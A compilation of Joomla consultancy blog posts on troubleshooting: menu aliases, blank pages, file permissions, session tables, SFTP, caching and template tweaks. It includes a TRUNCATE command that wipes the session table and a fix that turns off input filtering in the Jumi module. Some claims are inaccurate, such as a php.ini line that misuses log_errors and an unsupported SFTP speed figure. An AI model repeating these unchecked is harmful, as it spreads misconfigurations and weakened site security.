http://ourclientjoomlawebsite/?Itemid=500

The URL was returning a “404 – Component not found” error and they were confused as to why the problem was happening. We logged in to the backend of the site and we immediately discovered the problem:

  • Our client had a menu item pointing to an article, let’s call it Menu Item A.
  • They had a menu item, let’s call it Menu Item B, with an id of 500, that was a menu item alias to Menu Item A.

  • They had another menu item, Menu Item C, which was a menu item alias to Menu Item B.

If you have been using Joomla for a very long time, you would have guessed the error: you can’t make a menu item alias point to another menu item alias, what our client should have done was to point Menu Item C to Menu Item A.

But why can’t you point a menu item alias to another menu item alias?

Well, it’s because of a small bug in Joomla – Joomla must get the original menu item that a menu item alias is trying to point to, but it doesn’t. For example, in our example above, Joomla must automatically link Menu Item C to Menu Item A, but, again, it doesn’t. It’s not that hard to implement this feature by the way. We think that Joomla must take this into consideration in one of its next revisions, since this problem is the cause of much confusion, especially on very large sites, where it’s really hard to find the original menu item (large sites have literally dozens of menus and some menus have about 50 menu items).

Now, if you’re facing the same problem on your website, then make sure you are not pointing a menu item alias to another menu item alias. If you can’t find the original menu item, or if you just need help resolving this issue, then please contact us. We’re here to help, we always answer the phone, our work is top notch, and our fees are very competitive.

Internal Webspam on Websites – The Enemy Within!

Note: This post has some assumptions on how Google works since nobody, with the exception of a select secretive few at Google, is fully informed about the insides of Google’s search engine rankings. Please keep that in mind while reading this post.

One of our major clients told us that they lost in traffic to their #1 competitor. They told us to review their website and see if there’s anything that can be done technically that can improve its search engine rankings and restore the website’s former glory! The website, of course, was powered by Joomla.

We checked everything on the website: The speed was fast (but not that fast, and that’s why we’ll be doing a round of optimization soon), all the meta tags were there and they were OK, the website was up-to-date as well as all the extensions, the website was clean (it wasn’t hacked), and the website’s traffic didn’t fall by that much, but it did fall.

We then looked at the content, the first article was OK, the second article that we checked, however, was not. The second article merely consisted of a long tail keyword as a title, and a small sentence linking to another, much more lengthier article on the website. Hmmm…

We immediately emailed our client and told them that this practice of trying to lure long tail traffic using long tail keywords may work at first, but it will definitely backfire at one point, when Google starts thinking (and rightly so) that they’re trying to game the system. Google has a technical name for this practice; it calls it webspam. For those who don’t know, here’s how Google addresses webspam:

  1. It checks the reputation of the website. If it’s an established website with a high reputation (such as our client’s website), it gives it the benefit of the doubt. Neutral reputation/non-established websites get penalized swiftly.

  2. Since the website has a high reputation, Google considers these short posts as beneficial to the web’s ecosystem and will return them in top results; effectively granting more traffic to the website through these very short posts. Those writing content on the website are lured into thinking that their strategy is working, and so they start writing more and more of these short posts to claim more traffic.

  3. Once the traffic generated by these short posts is noticeable, Google will start thinking, “hmmm, are they really doing that?”, and so Google starts reducing the traffic generated by these posts.

  4. Once the traffic generated by these posts is significant to the traffic’s website, then Google will think, “they are doing that… And I’m going to do something about it.” At this point, Google will penalize the website.

  5. Once penalized, a website may take literally years to fully recover. During these years, the administrator should beg Google every month until Google thinks that it won’t be gamed again by that website.

Our client told us that they will stop writing these short posts immediately, and they asked us if it’s a good idea to delete the previous short posts they have written. We told them “No”, because if they did, then this will be a red flag for Google. We told them that what’s done is done, and that the most important thing is not to do it.

We will closely monitor our client’s traffic to see if improvement is made over the next few weeks. If the situation further deteriorates, then we might ask for more radical actions on the website, such as deleting these short posts.

Now, some of you might be asking, since this is internal webpsam, is there an external webspam? Well, yes. External webspam is when you do the exact same thing, but on a different website. So, for example, the person will create a blog on Wordpress, and will write one-sentence-posts over there (with long tail keywords), and then, in those posts, will link to his original website.

External webspam is less harmful than internal webspam because of 2 reasons: 1) Google is not 100% sure that the person writing these posts on the Wordpress blog is an administrator on the original website, and not some competitor trying to get the website penalized and 2) Google can easily discount all the links incoming from the Wordpress blog, without penalizing the original website.

If your established website (Joomla or non-Joomla) has started to lose some traffic, then you should check whether you are involved in the, ahem, webspam practice. If you are, then you should stop doing it immediately since not only you are not benefiting anyone out there, you are also harming your website. If you need help reviewing your website, then please contact us. Please note that our super affordable fees apply.

JTableInterface Has Changed in Joomla 3.3.1 and That Is Causing Problems

A new client called us yesterday and told us that he was seeing some blank pages on his Joomla website. Of course, we have discussed the blank page issue many times on this blog before, but, if you haven’t read any of our previous posts on blank pages, then, in short, here’s what causes them: A PHP fatal error.

So, we maximized error reporting (we changed the value of error reporting to maximum in the configuration.php located under the root directory of the website) and we checked the blank page again, and we saw the following error:

Fatal error: Declaration of DtrTable::load() must be compatible with that of JTableInterface::load() in /var/www/vhosts/[website-address]/httpdocs/administrator/components/com_dtregister/lib/dttable.php on line 214

Aha! A component that used to work no longer works because a very important interface no longer implements its methods the same way. That interface was the JTableInterface.

How did we fix the problem?

We fixed the problem by opening the dttable.php file located under the administrator/components/com_dtregister/lib and changing this function declaration:

function load($id, $reset = true)

to this one:

function load($id = null, $reset = true)

Now, the question is, how did we know that we had to make this particular change in the code to fix the problem? Well, since the DtrTable class extends the JTable class which implements the JTableInterface interface, all we needed to do was to look at the implementation of the load function in the JTableInterface interface in the interface.php file located under the libraries/joomla/table folder. That function was declared the following way:

public function load($keys = null, $reset = true);

Of course, once we fixed the problem, we had a very similar problem in another function in the same class and in other classes as well, and so we fixed them all (it was a very tedious job because it was all manual work). After something like 10 changes, the blank page was gone and the website was running smoothly again.

In our opinion, an even better solution to this problem was to update the problematic extension altogether, but we weren’t sure that the update will make things better or worse, and we didn’t have enough time to try. Additionally, we wanted our readers (that’s you!) to be able to fix the problem easily if it’s in a no-longer-supported-extension.

So, if you have the same problem on your website, then please try to update the affected extension first. If that doesn’t solve the problem, then the best thing that you can do is to manually implement the fix above. If that’s a bit above your head, then why not contact us? Our fees are affordable, our work is fast and professional, and you will gain some new friends who will genuinely care about your business!

How to Change the Default Sort Order of the Articles in Joomla’s Backend

Note: This post applies to both Joomla 2.5 and Joomla 3.x.
Warning: This post requires that you make a simple modification to a core Joomla file, which means that the next time you update Joomla, your changes might get overwritten and you will need to re-apply them.

We have many clients that literally have thousands of articles. One of the major annoyances that these clients experience is that, when they go to the Articles pages in Joomla’s backend (by going to Content -> Article Manager), the articles are sorted by title, and not by creation date.

Sorting by title is OK when you only have a few articles on your Joomla website, but if you’re adding 20 articles a day, then it becomes a problem. You will need the articles to be sorted by creation date descending. Of course, you can always click on the Date header twice in the Article Manager page to sort by creation date descending, but that’s not very efficient, is it?

Now, unfortunately, there is not a single setting in Joomla that allows the administrator to change the default sorting anywhere in the backend. So, to address this problem for our clients, we have done the following:

  • We opened the file articles.php located under the administrator/components/com_content/models folder.
  • We changed the following line (located in the populateState function):

    parent::populateState('a.title', 'asc');

    to:

    parent::populateState('a.created', 'desc');

  • We saved the file and uploaded it back.

  • That fixed the problem!

As we have mentioned in the beginning of the post, this fix is a core change. So, if you’re uncomfortable with that, don’t do it!

Final note: The above solution can be applied to nearly any view in Joomla where default ordering is the problem. Just open the associated model file (under the models directory of the component in question), and change the default ordering in the populateState function.

If you need help implementing the above solution, then please contact us. Our fees are super affordable, our work is professional and clean, and we’ll definitely have fun working together!

“500 Internal Server Error” on a Joomla Website After Using the Admin Tools Extension

This morning, we had a client calling us and saying that his website was displaying a “500 Internal Server Error” message. He told us that this started happening when he tried to fix the permissions by using Admin Tools, which is a well known Joomla extension that is used for security and fixing broken Joomla databases.

Before we start, we would like to point out that we’re not huge fans of Admin Tools, we have seen many websites getting completely broken when using some features of Admin Tools, which means that Admin Tools, in many cases, does the complete opposite of what it claims to do.

In any case, since this is an “Internal Server Error”, then this means that Apache must have logged what happened to the error log file. So, we checked the error log file by logging in to the cPanel of the website, and then clicking on Error Log link under the Logs section, and this is what we saw:

[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/500.shtml
[Thu Jun 05 09:39:33 2014] [error] [client 67.71.74.0] SoftException in Application.cpp:261: File "/home/[username]/public_html/index.php" is writeable by group
[Thu Jun 05 09:36:33 2014] [error] [client 67.71.74.0] File does not exist: /home/[username]/public_html/404.shtml

Aha! It seems that Admin Tools changed the permissions of the index.php file to be written by everyone, so we checked the filesystem, and to our horror (well, that’s an exaggeration, we weren’t really horrified, but we were shocked nonetheless), all the file and folder permissions were set to 777. From the cPanel’s File Manager, we changed the permissions of the index.php file located under the root directory of the website and the one located under the administrator folder to 644. We then changed the permissions on the administrator folder to 755. That allowed us to access the backend of the site.

We then logged in to the backend of the Joomla site, and we went to Components -> Admin Tools, and then we clicked on Permission Configuration. We discovered that the Default Permissions for both the Directories and the Files were set to 777. That causes a problem under suPHP (because suPHP thinks, and rightfully so, that these permissions are not safe). We changed the Default Permissions of the Directories and the Files to 755 and 644 respectively, and then we saved them (by clicking on Save Default Permissions), and then we went back to the main screen on Admin Tools, and we clicked on Fix Permissions. That completely fixed the problem!

If you have a “500 Internal Server Error” error (yes, we know, “error” is there twice) on your website after using the Admin Tools extension, then check your file permissions, if they’re all 777, then there is your problem! Just apply the above solution and you should be set. However, if you still have the same issue or if you think that our post is too technical, then please contact us. We will fix the problem for you in no time, our rates are super affordable, and we are the friendliest Joomla experts in the Milky Way!

A Flooded Session Table Can Dramatically Slow Down Your Joomla Site

About a week ago, a new client called us and told us that the her company’s corporate website is slow, very slow. So we checked the Slow Query Log (see here for more about it) on the website’s server, and we immediately noticed the issue. The log was literally over 200 MB in size and it was flooded with the below query:

INSERT INTO `#__session` (`session_id`, `client_id`, `time`) VALUES ('8ffe0d7f994614d079df29d747888213', 0, '1393575824');

Hmmm… We thought, why would such a simple query be flooding the Slow Query Log? It’s a very simple insert query, but then we checked the #__session table using phpMyAdmin, and then we discovered the real issue, the #__session table contained literally more than a million rows, and since there was a lot of indexes on that table, an insert to that table was taking a ridiculous amount of time, something like 15 seconds.

The short term solution was simple, we only needed to truncate the table (e.g. delete the all the rows in that table and completely reset its indexes), we did this by issuing the following command in phpMyAdmin:

TRUNCATE TABLE #__session

(Note: If you want to use the above command, then you will need to replace #__ with your table prefix.)

That fixed the problem! Now the question was, what caused the #__session table to contain these million rows in the first place?

Well, the site was huge; it was getting something like 30,000 visits every day, and, for those of you who don’t know, even if the visitor is a guest (e.g. not a logged in user), an entry in the #__session table is created for him. But, that still doesn’t explain why there was a million rows in that table, since Joomla should regularly delete expired sessions.

We examined the configuration settings of the website, and we noticed that the session lifetime was set to 1440, which means 1440 minutes (and not seconds, see here for more on Joomla’s inconsistency when it comes to cache time), which means a full day, which ultimately means that, since the website receives 30,000 visits a day, there shouldn’t be more than roughly 30,000 rows in the #__session table, right? Wrong!

First of all, the site receives a lot of invisible traffic (traffic from bots, spam, etc…), and second of all, Joomla is not very good at handling sessions efficiently. So, the same user can have multiple session entries in the database (this is because Joomla re-creates the session for the user on expiry, without removing the previous session).

So, what did we do to solve the problem? Well, we lowered Joomla’s session expiry date from 1440 minutes to 120 minutes (2 hours). This worked perfectly, and it wasn’t annoying to the staff working on the site, since the session is kept alive as long as the logged in staff member is not idle for more than 2 hours.

Note: We first suspected the session cleaning process had a bug in it and that it wasn’t cleaning the session table properly, but, after testing it, we discovered that we were wrong. The session cleaning process worked properly (it did work 50% of the time though because of a condition in the code, but that was more than enough).

If your website has some slowness issues, then a quick fix might be to lower the session lifetime in the configuration settings. If that didn’t work for you, then please contact us. We are experts at optimizing Joomla, we work fast, and we don’t charge much!

Using FTP on Your Joomla Website Can Result in Getting It Hacked

If you’re using FTP to upload files to your Joomla websites, then, you probably know that you’re not alone. The vast majority of Joomla websites allow for FTP access. What you probably do not know, is that you’re compromising the security of your Joomla website when you’re using FTP.

Why is that?

Well, because FTP sends the username and password for authentication (as well as every other request) in clear text, which means that anyone (or anything) eavesdropping on your connection would be able to steal those credentials and then probably use FTP to hack your website.

Now, the million dollar question is, can anyone eavesdrop on your connection?

The answer is no. Not anyone would be able to eavesdrop on your connection and read the FTP credentials when you send them to the server; it is only those people who are on the same network that have the ability to eavesdrop on your connection. But, and there’s always a but, if you have a machine infected with a trojan virus, then that virus can spy on your connection, and then send its findings home, e.g. to the person who infected the machine with the virus in the first place. That person would then, of course, use those credentials to hack your website.

So, what is a better alternative?

Well, SFTP, of course! SFTP stands for Secure File Transfer Protocol, which is the same concept as FTP, but instead of sending the commands to the server as raw text, it sends them as encrypted, making it extremely hard for anyone (or, again, anything) eavesdropping on the connection to tell what the login credentials are.

Is SFTP 100% secure?

Unfortunately, it is not, because if the machine establishing the SFTP connection has a virus that monitors keystrokes, then it wouldn’t be that hard for that virus to guess what kind of information is being transmitted to the server, and then sends that information “home” (e.g. to the hacker). However, SFTP remains far superior to FTP when it comes to security, since FTP is not secure at all.

Do all servers support SFTP by default?

Unfortunately, not. Try using the FTP username and password for your SFTP connection to check if you’re able to use SFTP. If you can’t, then you should tell your hosting company to ensure that the sshd process is running (in other words, you’re able to connect through ssh), and that your FTP username and password can also connect through SSH.

Is SFTP slower than FTP?

Definitely. This is because the SFTP protocol has to encrypt the data prior to sending it to the server. There’s also an additional network overhead since the transfers are done through SSH. SFTP is about 60% slower than FTP. However, speed shouldn’t be an issue unless you’re transferring large files.

Should the FTP service be stopped once you’re using SFTP?

Not necessarily, but it’s better to shut it down so that no one on your team uses it and compromises the security of your website.

If you’re having problems enabling SFTP on your Joomla website, then please contact us. We’ll be extremely happy to help. Note that our very affordable fees apply!

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING On the Joomla Site

Since the problem discussed in this post is becoming more common and is very critical, we have decided to start this post in reverse. We will first offer a very quick solution, and then we will discuss how we found the problem, and then finally offer a long term solution to the problem.

If you’re seeing one or more of the following errors on your Joomla website…

JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING
Error loading component: com_login, 1
Error loading component: com_k2, 1

…then the super quick solution is to clear the Joomla cache, by logging in to the Joomla backend, and then going to Site -> Maintenance -> Clear Cache, and then clicking on the checkbox on the top (to select all cached items) and then clicking on Delete on the top right. This will fix the problem for the short term, but the problem might re-emerge again if the cause has to do with a problem on the server.

Now let us explain what happened yesterday afternoon. A new client called us and told us that only the homepage is working on his Joomla website, all the other links do not work. We thought, that’s a piece of cake; it’s definitely a corrupt .htaccess file, and that it was. But, there was an additional snag, the .htaccess file was hacked, which means that there was more to it. We cleaned up the .htaccess file, and we scanned the website for any other issues, but there were none. We informed the client that the website should be secured to ensure that hack won’t come back again and he authorized the work. Everything worked perfectly, but late at night, we started seeing the JLIB_APPLICATION_ERROR_COMPONENT_NOT_LOADING error everywhere on the site.

We did a quick investigation and we realized that this error is thrown when there is a problem with caching, and so we thought that the cache was corrupt (which was true), so we cleared the cache, and that solved the problem.

However, about an hour later, we started seeing the same problem again. Hmmm… Clearing the cache (again) fixed the problem, but we knew it was only a matter of time until we see the same problem again! And, to our disappointment, we weren’t wrong. We saw the problem about 30 minutes later. What could it be?

We checked Apache’s error log by logging in through ssh to the server (as root) and issuing the following command (note that our client was using WHM):

tail -f error_log

The following line displayed on the console:

[27-May-2014 20:44:19 America/New_York] PHP Warning: PHP Startup: Unable to load dynamic library ‘/usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so’ – /usr/local/lib/php/extensions/no-debug-non-zts-20100525/memcache.so: cannot open shared object file: No such file or directory in Unknown on line 0

Aha! There was a problem with the MemCache Apache module, and that was causing the corruption in the cache. We immediately informed the hosting company and they took care of the problem by re-compiling the MemCache module.

So, what caused the MemCache module not to work all of a sudden?

It seems that when we told our client that his website was hacked, he informed his hosting company, and what they did was that they performed a PHP update, and some modules, such as the MemCache module, became incompatible with the new PHP version because they weren’t recompiled when PHP was updated.

If you’re having the same problem on your website, then try clearing your cache. If it only fixes the problem temporarily, then the problem might be something with your server. Check your Apache logs and inform your host. You can also contact us and we’ll do the work for you promptly, professionally, and for a very affordable fee.

Dropdowns Not Working in Joomla’s 1.5 Backend

We had a very odd task today. A client called us and told us that she can’t add a new article (or update an existing one) on her Joomla 1.5 website (yes, even in May of 2014 there are still many websites using Joomla 1.5), because both the section dropdown and the category dropdown are empty (so, when she tries to save, Joomla tells her that she must choose a section and a category first).

We checked the website and we immediately saw the problem. Not only that, there wasn’t a single dropdown working on the whole website! Any page in the admin section of the site requiring dropdowns did not work, because the dropdowns were all empty. So we started the investigation.

We first checked the file that was at the heart of the select input (dropdown) generation, which is the file select.php located under the libraries/joomla/html/html folder. In that file, we checked the function responsible for doing the whole job, which is the genericlist function. The function was returning an HTML string consisting of an empty dropdown, but the array being passed as a parameter was not empty. This confirmed our doubts that the problem had nothing to do with the database, but rather with the function itself – possibly a PHP issue? Let’s find out!

Now, since the function is not generating any option tags, then it means the problem was in this line:

$html .= JHTMLSelect::Options( $arr, $key, $text, $selected, $translate );

Luckily, the function options was in that very same file, so we checked it. The parameters passed to it were all OK, but that function wasn’t returning anything. Why?

So we added the following lines (for debugging) to the options function:

error_reporting(E_ALL);
ini_set('display_errors', '1');

And the magic happened! We started seeing the real issue when we refreshed the page; we saw these 2 errors:

Strict Standards: Non-static method JHTML::_() should not be called statically, assuming $this from incompatible context in /httpdocs/administrator/components/com_config/controllers/application.php on line 90

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::genericlist() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Strict Standards: call_user_func_array() expects parameter 1 to be a valid callback, non-static method JHTMLSelect::option() should not be called statically in /httpdocs/libraries/joomla/html/html.php on line 91

Aha! The problem was some outdated PHP code (PHP used to be tolerant to wrong code before, but it’s getting more and more stricter). In short, there were some non-static methods that were called statically.

So, how did we solve the problem?

Glad you asked! All we needed to do was to add the word static to the declaration of all the functions in the aforementioned select.php file, as well as to the function _ (underscore) in the html.php file (which is located under the /libraries/joomla/html/ folder), and to the function _ (also underscore) in the file methods.php (located under the libraries/joomla folder). So, for example, we changed the following line:

function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

to:

static function option( $value, $text='', $value_name='value', $text_name='text', $disable=false )

That fixed the problem!

But what caused the problem in the first place?

These problems are usually caused by a PHP update on the server. As mentioned earlier in this post, newer PHP versions are no longer tolerant to wrong/ambiguous PHP code.

If you need help implementing the above then please contact us. We will definitely fix the problem for you, we won’t charge you much, and we’ll do the work in no time!

Why Is It that Joomla Sometimes Doesn’t Show the Errors Even if Error Reporting Is Set to Maximum?

If you have have been working on Joomla for a long time, then most likely you ran into the situation where you’re seeing a blank page instead of your homepage. Under normal circumstances, changing the Error Reporting value (under Site -> Global Configuration -> Server) to Maximum will show the error(s) that is(are) causing the blank page issue. However, sometimes doing that will change nothing, you will still see a blank page.

Why?

Well, there are 2 causes of this issue:

  1. The @ error control operator: The @ error control operator, when prepending a PHP expression, will suppress all notices/warnings/errors that are incurred on that PHP expression. The only scenario where the @ control operator won’t work is when the PHP expression has a parse error.

    In 99% of the cases, the @ error control operator is not the cause of the blank page, simply because it is strictly used to suppress warnings, and not errors. But for the 1% of the cases where the @ error control operator is the cause of the blank page, it will be a nightmare to locate where the actual problem is. In short, you will have to search for all the files that contain the @ operator at the beginning of a line, and then debug these files one by one.

    Generally, we think that the usage of the @ error control operator indicates weak coding skills, so, if you have an extension that use it extensively, then you are better of with another extension that does more or less the same thing but coded more professionally.

  2. Output buffering: Before discussing this issue, let us explain, concisely, what is output buffering. PHP (the programming language that powers Joomla), by default, will send the output to the browser immediately when it is instructed to do so (for example, using the echo statement). If output buffering is turned on, then any output after the ob_start function call will be stored in a variable that is later retrieved using the function ob_get_contents. Note that output buffering will only end when ob_end_flush or ob_end_clean are called.

    Now, you might be wondering, why use output buffering?

    In the majority of scenarios, output buffering is used to ensure that you don’t see the “headers already sent” error or if you want to manipulate the output prior to displaying it (there’s also claims that the output processing will be faster because it’ll be done in one shot, but we reckon that the benefit claimed is negligible, if there’s one). The problem, however, is that since output buffering holds all output until the buffering ends, then you can’t see the (fatal) error if it happens before the buffering ends, and so you will see a blank page that will not go away even if you set the Error Reporting to Maximum.

    On the bright side, there are several ways to find what the error is (note that you must change Error Reporting to Maximum in your configuration for the below to work):

    1. Disable output buffering at the .htaccess level: All you need to do is open the .htaccess file, and then add the following line to the top:

      php_flag "output_buffering" off

      Adding the above line will ensure that output buffering will no longer work, and so you will see all the errors on your Joomla website.

    2. Disable output buffering in the php.ini file: You can disable output buffering by adding the following line to your php.ini file:

      output_buffering = Off

      Note that it is recommended that you disable output buffering at the site level, by copying the php.ini file to the root directory of your website, and then changing the setting there. This will ensure that you won’t affect other sites (that may need output buffering to work properly) running on the same server. Also note that this is equivalent to the above action, so, if you have the choice, then it’s better to disable output buffering in the .htaccess file (using the above method) instead of overriding the php.ini file.

    3. Search the filesystem for any instance of ob_start and comment it out: This is a tricky solution because you will then need to revert your changes once you find the culprit, but it will work.

    4. Instruct PHP to log errors to a file: Modify the php.ini file to log errors to a certain file by adding the following line:

      log_errors=/tmp/errors.log

      The above line will ensure that all errors are stored in the errors.log file under the tmp directory. You can then check the log file to see what the real error is.

    Note that the methods a & b above will most likely display errors about functions needing output buffering turned on. If this happens, then you will need to comment out those function calls as described in method c.

We hope that our post helped you in finding out what the mysterious cause of the blank page is. If you still can’t find out what the root cause is, even after applying all the above solutions, then please contact us. We’ll definitely find where the problem is in very little time and for a very affordable fee! What are your waiting for? Give us a call or shoot us an email!

Blank Page When Using a Gantry Template

A client called us yesterday evening and told us that he was getting a blank page when switching to a Gantry template. He told us that his website worked normally under a regular template, but, as soon as he switched to a Gantry template, he was seeing a blank page.

Before going into the details, we would like to express our opinion about Gantry templates, we don’t like them much – we don’t hate them but we don’t like them much. The level of abstraction they add to the templates is ridicilous, and it makes debugging anything a nightmare.

Now, going back to the real issue, it was very easy for us to reproduce the error, all we needed to do was to switch to a Gantry template. We immediately started debugging the issue, and we found that the problem started with the following line in the index.php file located under the templates/[gantry-template-name] folder:

<?php echo $gantry->displayMainbody(’mainbody’,’sidebar’,’standard’,’standard’,’standard’,’standard’,’standard’); ?>

Naturally, we searched for the function displayMainbody, and we found it in the gantry.class.php file under the /libraries/gantry/core folder. The problematic line in that function was a call to the static method display on the GantryMainBodyRenderer class. That method was defined in the file gantrymainbodyrenderer.class.php in the folder /libraries/gantry/core/renderers.

We finally narrowed down the problem to the function $gantry->renderLayout, which is responsible for rendering modules. And then it struck us, it was a rogue module that was causing this problem. That module was only being used by the Gantry template and not by other templates. So, in order to know which module it was, we added the following lines to show all the errors:

error_reporting(E_ALL);
ini_set('display_errors', '1');

That allowed us to see the real error, it was this one:

Fatal error: Call to undefined method JDate::toMySQL() in /home/[website-user]/public_html/modules/mod_mt_listing/helper.php on line 126

The error was obviously in a Mosets Tree module (which is not a great extension by all accounts). Fixing the error consisted of simply changing all occurrences from JDate::toMySQL to JDate::toSQL . That was it!

So, the next time you’re seeing a blank page when you’re using a Gantry Template (on the frontend, we’ve discussed the same issue on the backend before), then most likely this is a module. Try disabling the published modules, one by one, until the problem is resolved.

If you really need the problematic module, and you need help fixing it (rather than just disabling it), then please contact us. We have fixed so many extensions and we’re sure we’ll be able to fix yours (even if it’s home-made). Our work is extremely fast and clean, our prices are right, and our target is to keep you as a long term happy customer!

Jumi Module Stripping Out Code: How to Fix

Ah, Jumi! The simple yet very powerful extension that allows you to add code anywhere on your website. We’ve used this extension thousands of times so far and we’ll sure to use it thousands more, at least until Joomla has a built-in extension that does the same thing.

From our experience, Jumi is almost perfect! “Why is it not perfect?”, we hear you ask. Well, because some of its features don’t work by default, you have to fix them first. For example, the Jumi module strips out code by default (and that is true even if you ensured that your Joomla user belongs to a group that has no HTML filtering in Joomla’s configuration), which defies the whole point. The cause of this issue is that the type of input for Code Written in a Jumi module is set to be filtered, which means that no matter which settings you change to make that Jumi module accept code (such as PHP code and JavaScript code), you won’t be able to!

Luckily this bug can be solved very easily. Here’s how:

  • Open the file mod_jumi.xml located under the modules/mod_jumi folder in your Joomla website.

  • Change the following line:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" />

    to:

    <field name="code_written" type="textarea" default="" label="Code written" description="PARAMCODEWRITTEN" cols="60" rows="17" filter="raw"/>

  • That’s it!

After doing the above, you will be able to enter code – any code – freely in your Jumi module because no filtering whatsoever will be applied.

Of course, we think that this bug is weird, and the fact that no one has reported it so far is even weirder, considering the number of people who use this extension on a regular basis. Nevertheless, we’ve seen even weirder things, so we’re not that surprised. We hope that this bug will be fixed in the next version of Jumi (we’re not that optimistic though, since the bug has been there for years).

In any case, if you’re trying to add code to your Jumi module but that code is being stripped out, then please try the above solution. If you have tried it but with no avail, then all you need to do is to contact us. Our prices are right, our work is professional, and we are the friendliest programmers in the whole wide world (e.g. in the www)!

Why You Should Only Use SEF Links in Your Content

When migrating a website from a version of Joomla to another version, one of the extremely challenging issues that we face is maintaining the link structure. Yes, we know, having the same link structure should be seamless when migrating a Joomla website, but in most cases, it is not. Here’s why…

Many Joomla administrators use non-SEF links for linking to other pages. For example, if they want to link to a certain article, they use the following link: index.php?option=com_content&view=article&ItemId=101&id=5, which is then translated by the SEF system plugin to something like http://www.[joomla-website].com/my-fifth-article.html. Now, this practice is OK when you want to keep the same website and the same Joomla version forever, but it fails miserably the second you want to migrate to a different version of Joomla. Let us explain further…

When you migrate a Joomla website to a different version, it is sometimes impossible to maintain the same IDs in the new version without a lot of manual work. For example, the ID of the article will not be the same, as well as the ItemId of the menu item pointing to that article (or the category of the article). Hence, when the SEF system plugin runs on the same non-SEF URL above on the new website, the resulting SEF URL may be completely different (or may not even work, especially if the old ID of the article no longer exists in the migrated website). This issue alone frustrates Joomla administrators the first time they attempt a migration which results in them reverting back to the previous version of Joomla and hoping that the world will end before their Joomla website gets hacked (a website using an old version of Joomla is just waiting to be hacked, if it’s not already hacked).

So, what’s the solution to this problem?

Well, the ideal solution is to always use SEF links to point to your content (articles, categories, contacts, etc…) from within your content, instead of using non-SEF links.

But, if you’re already at the point where it’s too late (you’re migrating your Joomla website and you have non-SEF links in your content), then you have 2 options:

      Create a script that will replace non-SEF links with SEF links in your old content before migrating your content to your new Joomla website.

    1. Create a script that will replace old IDs with new IDs and old ItemIds with new ItemIds after migrating your content to your new Joomla website.

    We prefer the first option over the second option, although both will take more or less the same time. The first option is better, in our opinion, because it will get rid of the problem once and for all. If you use the second option, then you will run into the same problem when you migrate your Joomla website to a newer version in the future.

    If you need help implementing any of the solutions above, then that’s what we’re here for. Just contact us and rest assured that we will do the work for you promptly, professionally, and for a very competitive fee!

How to Hide a Module in Articles but Show It in the Parent Category

Joomla is a very powerful CMS (much more powerful than WordPress, in our humble opinion), but there are some basic things that cannot be done easily. For example, one of our clients told us that they wanted to display a few modules only on the category blog page, but not on the child categories. They had a category called Vacations, and articles such as Amsterdam, London, Paris, etc… and they only wanted to display a few modules on the Vacations category blog page, but not on the Paris page.

Those who have been using Joomla for a long time know how modules are displayed on a page: they are assigned to a Menu Item Id, and they are displayed only for that Menu Item Id. In a default installation of Joomla and for articles who don’t have unique Menu Items, the Menu Item Id of those articles is the same as the parent category, which means that the modules appearing on the parent category will also display on those articles.

But, if what if you don’t want to display those modules on child articles?

Unfortunately, there’s no way from within Joomla to do this. However, you can do this by making adjustments to your template. Here’s how:

  • You create module positions in the template that should show up only on the category page.

  • You add a condition, in the template, to display these modules on category pages, and not on article pages.

Here’s how to do this technically:

  • Open the file index.php located under the templates/[template-name] folder on your Joomla website.

  • In the desired location, add the following code:

    <?php if (JRequest::getVar( 'view' ) != 'article') : ?>
    <jdoc:include type="modules" name="[module-position-name]" />
    <?php endif; ?>

  • Upload the index.php back to the templates/[template-name] folder.

  • Assign your modules to the [module-position-name].

  • Browse your website and you will notice that these modules will not appear on article pages, just category pages.

Is there another way for doing this?

If you’re using a basic Joomla instance, then no, there isn’t any other way. However, if you’re using sh404SEF, then there are other ways to do this, but not as clean or stable (basically you will need to modify the ItemID in the category/article URLs. Works but not a great idea and not something that we recommend).

If you want to do the above but you lack the technical skills, then all you need to do is to contact us. We can do this for you in no time, we will not charge you much, and we are really, really friendly!

References – When We Provide Them to Potential Clients and When We Don’t

We got a call late at night yesterday from a new client. The client was frustrated with the current development company that she’s working (she wanted to create a small extension on her Joomla website and the development company kept delaying the project), and that’s why she called us…

She discussed with us her requirements. We gave her an estimate of 4 hours to complete the work, and we told her that we can start he work immediately. She then said, can you please send me at least 3 references so I can authorize the work? Our answer was: “Unfortunately, we can’t!” – and then, of course, we told her the reasons why:

  • Our references are important people working for important companies: This fact makes it really hard for us to send these references’ contact information to just any client. Our references don’t work for us and we don’t expect them to tolerate constant emails from potential clients asking them whether we’re good or not.
  • We only provide references for very large projects: If you come to us with a 4 hour mini-project and you are expecting some references – then we’re afraid we will disappoint you. We just can’t provide references for very small projects, mainly for the reason mentioned above and also because it just creates unnecessary overhead. It’s just not worth it. Only large projects (projects that take 2 months and more of full time work for one person) are entitled for references.

  • We only provide references to established companies: Let’s face it – if you’re asking for references then it’s a clear sign that you don’t trust us – so, why should we trust you? If we send our references in the major companies we work with, then what guarantees us that the contact information of these references won’t be used for something other than checking for our work?

  • We only provide references as a last step prior to authorizing the work: If we think that you’ll be going to ask us for something else after you have the references then we will decline your request for references. We think that providing any references should be the very last step prior to starting the work. There shouldn’t be any additional requirements from your end to authorize the work after checking the references.

  • We will only provide you with a maximum of two references: We had a client once who asked us for 12 references (yes, that wasn’t a typo, twelve references), obviously, we immediately dismissed the request and the project, despite the fact that the project was a very large one. We just won’t provide more than 2 references to any client under any circumstances. In most cases, we only send one reference.

  • We generally don’t like handing out references: As we mentioned earlier, references represent a big annoyance to us and to our established corporate clients, and that’s why we don’t like them. We also prefer clients who trust us from the get-go, clients who are willing to take a leap of faith with us (the same way we are with them).

After explaining the above to our client, she went ahead and authorized the project without any references, and her project was done the very same day. She was very happy with the work and the small amount of time it took to finish it.

If you want us to work with you and you are expecting references, then make sure you meet the requirements above (mainly you have a large project and you are an established company). If you have any questions, then please contact us.

How Joomla’s Redirect Manager System Plugin Works

